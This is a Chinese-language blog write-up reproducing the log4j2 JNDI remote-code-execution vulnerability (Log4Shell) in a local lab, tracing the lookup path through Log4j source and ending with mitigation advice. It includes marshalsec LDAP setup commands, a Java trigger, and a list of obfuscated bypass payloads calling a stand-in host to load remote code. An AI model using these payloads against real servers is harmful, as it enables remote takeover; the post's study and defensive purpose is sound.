概述
前言
自漏洞爆出已经半年多了,可当时还是个java啥都不懂的菜鸡所以也没能及时复现,现在捡起来复现下21年席卷整个安全圈的log4j2漏洞
log4j2
漏洞原理
log4j 是 javaweb 的日志组件,用来记录 web日志 去指定下载文件的url 在搜索框或者搜索的 url 里面加上${jndi:ldap://127.0.0.1/test} ,log4j 会对这串代码进行表达式解析,给 lookup 传递一个恶意的参数指定,参数指的是比如 ldap 不存在的资源 $ 是会被直接执行的。后面再去指定下载文件的 url,去下载我们的恶意文件。比如是 x.class 下载完成后,并且会被执行
该漏洞只影响到log4j2,并不影响log4j。
影响版本
Apache Log4j 2.x <= 2.15.0-rc1
JDK版本应该是不大于8u191,因为在此之后rmi和ldap都禁用了远程codedebase选项
安全版本
Apache log4j-2.15.0 (Apache log4j-2.15.0-rc1、Apache log4j-2.15.0-rc2都不行都存在对应的绕过)
依赖
本地测试用的是2.14版本
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
攻击实现
攻击方式也跟JNDI方式一样
开启本地服务
python -m http.server 7777
使用marshalsec构建LDAP服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999
exp
package log4j2;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Test {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
log.error("${jndi:ldap://127.0.0.1:9999/Sentiment}");
}
}
流程分析
调用error
后,会调用logIfEnabled()
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
final Throwable t) {
if (isEnabled(level, marker, message, t)) {
logMessage(fqcn, level, marker, message, t);
}
}
if中调用isEnabled()
,为true才能继续向下执行,跟进看一下其中有好几个level
对应值:
跟进isEnabled()
后又调用了filter()
,最后会retrun返回bool类型的值,所以这里我们就需要绕过intLevel >= level.intLevel();
而intLevel
默认值为200,所以我们只需要在上边找个值小于200的即可,所以这里一开始用的是error,当然fatal亦可
接着一路跟进logMessage —> logMessageSafely —> logMessageTrackRecursion —> tryLogMessage —> log
,在LoggerConfig.java
的456这一行的log()
成功弹出了计算器
接着在PatternLayout.java
的第344行不断调用format()
方法,当i=8时,就会调用到MessagePatternConverter.java
的format()
方法
跟进看一下117行会获取workingBuilder的值,之后又进入了123行的formaTo()
将我们传入的值追加到workingBuilder
中(buffer是原本的值即117行赋值完后的值,追加完后变成了上图的value值)
然后从127行开始处理workingBuilder
,一旦匹配到了${
,就把${
一直到末尾那部分截取出来,然后进行替换:
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
跟进replace()
,这个函数的作用是使用给定的源字符串作为模板,用来自解析器的匹配值替换所有出现的变量。
跟进substitute()
用于多级插值的递归处理程序。 这是主要的插值方法,它解析传入文本中包含的所有变量引用的值。
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
final char escape = getEscapeChar();
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();
final boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
for (int j = i + matchLen; j < varNameExprChars.length; ++j){
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
break;
}
}
break;
} else {
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
} else {
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
}
// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
prefixMatcher是${
,suffixMatcher是}
接着在final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
判断是否匹配到${
,得到偏移2
同理递归获取endMatchLen
即}
的偏移,当pos=38时,成功获取偏移1,继续向下执行
接着通过刚刚获取的startMatchLen和pos的值,对chars进行截取,即截取${}中的内容jndi:ldap://127.0.0.1:9999/Sentiment
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
接着又对jndi:ldap://127.0.0.1:9999/Sentiment
执行了substitute()
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
这种递归调用有点类似于SPEL表达式注入中的方式,就是为了避免出现这种嵌套的方式:${${}}
都处理完之后就到了下边的resolveVariable()
,其中varName就是${}内的值,buf就是加上${}的值
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
之后就到了lookup,
继续跟进
①获取PREFIX_SEPARATOR的索引4,PREFIX_SEPARATOR=" : "
②prefix获取索引后,通过索引进行个截断,即通过冒号截断,将jndi:ldap://127.0.0.1:9999/Sentiment
的jndi截取了出来
③name获取冒号后的值即:ldap://127.0.0.1:9999/Sentiment
④获取前缀jndi后,在通过再根据前缀得到lookup
⑤执行lookup
跟进后经过逐级调用后进入了jndi的ldap攻击方式的流程,最后弹出计算机
调用栈
<init>:6, Exec
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test (log4j2)
Bypass
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}
修复建议
升级JDK
- JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
log4j2配置
- 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
- 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
- 设置“log4j2.formatMsgNoLookups=True”
- 禁止服务器外连
第三方产品
- 部署使用第三方防火墙产品进行安全防护。
官方方案
- 将log4j框架升级至最新版本
最后
以上就是飞快画板为你收集整理的[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议的全部内容,希望文章能够帮你解决[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复